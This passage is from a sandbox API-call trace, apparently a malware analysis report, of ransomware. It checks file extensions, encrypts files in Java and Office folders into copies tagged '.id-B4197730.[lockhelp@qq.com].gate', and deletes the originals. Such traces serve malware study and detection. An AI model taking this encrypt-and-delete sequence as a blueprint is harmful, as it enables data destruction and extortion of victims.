lpString2="plate") returned -1 [0298.194] lstrlenW (lpString=".ppt") returned 4 [0298.194] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0298.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.194] lstrlenW (lpString=".zip") returned 4 [0298.194] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".rar") returned 4 [0298.194] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".bz2") returned 4 [0298.194] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0298.194] lstrlenW (lpString=".7z") returned 3 [0298.194] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0298.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.194] lstrlenW (lpString=".dbf") returned 4 [0298.194] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0298.194] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.194] lstrlenW (lpString=".1cd") returned 4 [0298.194] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0298.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0298.195] lstrlenW (lpString=".jpg") returned 4 [0298.195] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0298.195] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0298.195] lstrlenW (lpString="psfontj2d.properties") returned 20 [0298.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0298.195] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10393) returned 1 [0298.195] CloseHandle (hObject=0x4b0) returned 1 [0298.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0298.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0298.196] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.196] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0298.197] GetLastError () returned 0x0 [0298.197] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2899, lpOverlapped=0x0) returned 1 [0298.312] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0298.313] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.313] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xfc, lpOverlapped=0x0) returned 1 [0298.313] SetEndOfFile (hFile=0x560) returned 1 [0298.768] CloseHandle (hObject=0x560) returned 1 [0298.768] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.768] SetEndOfFile (hFile=0x4b0) returned 1 [0298.787] CloseHandle (hObject=0x4b0) returned 1 [0298.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0298.787] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0298.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.788] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.788] lstrlenW (lpString=".doc") returned 4 [0298.788] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0298.788] lstrlenW (lpString=".docx") returned 5 [0298.788] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0298.788] lstrlenW (lpString=".pdf") returned 4 [0298.788] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0298.788] lstrlenW (lpString=".xls") returned 4 [0298.788] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0298.788] lstrlenW (lpString=".xlsx") returned 5 [0298.788] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0298.788] lstrlenW (lpString=".ppt") returned 4 [0298.788] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".zip") returned 4 [0298.789] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".rar") returned 4 [0298.789] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".bz2") returned 4 [0298.789] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".7z") returned 3 [0298.789] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".dbf") returned 4 [0298.789] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".1cd") returned 4 [0298.789] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".jpg") returned 4 [0298.789] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".doc") returned 4 [0298.789] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".docx") returned 5 [0298.789] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0298.789] lstrlenW (lpString=".pdf") returned 4 [0298.789] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".xls") returned 4 [0298.789] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString=".xlsx") returned 5 [0298.789] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0298.789] lstrlenW (lpString=".ppt") returned 4 [0298.789] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0298.789] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.789] lstrlenW (lpString=".zip") returned 4 [0298.790] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0298.790] lstrlenW (lpString=".rar") returned 4 [0298.790] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0298.790] lstrlenW (lpString=".bz2") returned 4 [0298.790] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0298.790] lstrlenW (lpString=".7z") returned 3 [0298.790] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0298.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.790] lstrlenW (lpString=".dbf") returned 4 [0298.790] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0298.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.790] lstrlenW (lpString=".1cd") returned 4 [0298.790] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0298.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0298.790] lstrlenW (lpString=".jpg") returned 4 [0298.790] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0298.790] lstrcmpiW (lpString1=".policy", lpString2=".gate") returned 1 [0298.790] lstrlenW (lpString="java.policy") returned 11 [0298.790] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0298.791] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2466) returned 1 [0298.791] CloseHandle (hObject=0x4b0) returned 1 [0298.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0298.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0298.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0298.791] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.792] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0298.792] GetLastError () returned 0x0 [0298.792] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0299.116] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0299.117] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.117] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0299.117] SetEndOfFile (hFile=0x560) returned 1 [0299.117] CloseHandle (hObject=0x560) returned 1 [0299.117] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.117] SetEndOfFile (hFile=0x4b0) returned 1 [0299.119] CloseHandle (hObject=0x4b0) returned 1 [0299.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.120] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0299.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.120] lstrlenW (lpString=".doc") returned 4 [0299.120] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0299.120] lstrlenW (lpString=".docx") returned 5 [0299.120] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0299.120] lstrlenW (lpString=".pdf") returned 4 [0299.120] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0299.120] lstrlenW (lpString=".xls") returned 4 [0299.121] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString=".xlsx") returned 5 [0299.121] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0299.121] lstrlenW (lpString=".ppt") returned 4 [0299.121] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString=".zip") returned 4 [0299.121] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString=".rar") returned 4 [0299.121] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString=".bz2") returned 4 [0299.121] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString=".7z") returned 3 [0299.121] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString=".dbf") returned 4 [0299.121] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString=".1cd") returned 4 [0299.121] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString=".jpg") returned 4 [0299.121] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.121] lstrlenW (lpString=".doc") returned 4 [0299.121] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0299.121] lstrlenW (lpString=".docx") returned 5 [0299.121] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0299.121] lstrlenW (lpString=".pdf") returned 4 [0299.122] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString=".xls") returned 4 [0299.122] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString=".xlsx") returned 5 [0299.122] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0299.122] lstrlenW (lpString=".ppt") returned 4 [0299.122] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.122] lstrlenW (lpString=".zip") returned 4 [0299.122] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString=".rar") returned 4 [0299.122] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString=".bz2") returned 4 [0299.122] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString=".7z") returned 3 [0299.122] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0299.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.122] lstrlenW (lpString=".dbf") returned 4 [0299.122] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.122] lstrlenW (lpString=".1cd") returned 4 [0299.122] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0299.122] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0299.122] lstrlenW (lpString=".jpg") returned 4 [0299.122] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0299.122] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0299.122] lstrlenW (lpString="sound.properties") returned 16 [0299.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.123] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1210) returned 1 [0299.123] CloseHandle (hObject=0x4b0) returned 1 [0299.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0299.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.124] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.124] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0299.124] GetLastError () returned 0x0 [0299.124] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4ba, lpOverlapped=0x0) returned 1 [0299.357] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0299.358] ReadFile (in: hFile=0x4b0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.358] WriteFile (in: hFile=0x560, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xf4, lpOverlapped=0x0) returned 1 [0299.358] SetEndOfFile (hFile=0x560) returned 1 [0299.414] CloseHandle (hObject=0x560) returned 1 [0299.415] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.415] SetEndOfFile (hFile=0x4b0) returned 1 [0299.563] CloseHandle (hObject=0x4b0) returned 1 [0299.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.563] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0299.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.564] lstrlenW (lpString=".doc") returned 4 [0299.564] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0299.564] lstrlenW (lpString=".docx") returned 5 [0299.564] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0299.564] lstrlenW (lpString=".pdf") returned 4 [0299.564] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0299.564] lstrlenW (lpString=".xls") returned 4 [0299.564] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0299.564] lstrlenW (lpString=".xlsx") returned 5 [0299.564] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0299.564] lstrlenW (lpString=".ppt") returned 4 [0299.564] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0299.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.564] lstrlenW (lpString=".zip") returned 4 [0299.565] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".rar") returned 4 [0299.565] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".bz2") returned 4 [0299.565] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".7z") returned 3 [0299.565] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.565] lstrlenW (lpString=".dbf") returned 4 [0299.565] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.565] lstrlenW (lpString=".1cd") returned 4 [0299.565] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.565] lstrlenW (lpString=".jpg") returned 4 [0299.565] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.565] lstrlenW (lpString=".doc") returned 4 [0299.565] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".docx") returned 5 [0299.565] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0299.565] lstrlenW (lpString=".pdf") returned 4 [0299.565] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".xls") returned 4 [0299.565] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString=".xlsx") returned 5 [0299.565] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0299.565] lstrlenW (lpString=".ppt") returned 4 [0299.565] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0299.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.566] lstrlenW (lpString=".zip") returned 4 [0299.566] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0299.566] lstrlenW (lpString=".rar") returned 4 [0299.566] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0299.566] lstrlenW (lpString=".bz2") returned 4 [0299.566] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0299.566] lstrlenW (lpString=".7z") returned 3 [0299.566] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0299.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.566] lstrlenW (lpString=".dbf") returned 4 [0299.566] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0299.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.566] lstrlenW (lpString=".1cd") returned 4 [0299.566] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0299.566] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0299.566] lstrlenW (lpString=".jpg") returned 4 [0299.566] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0299.566] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0299.566] lstrlenW (lpString="FALL_01.MID") returned 11 [0299.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0299.567] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: 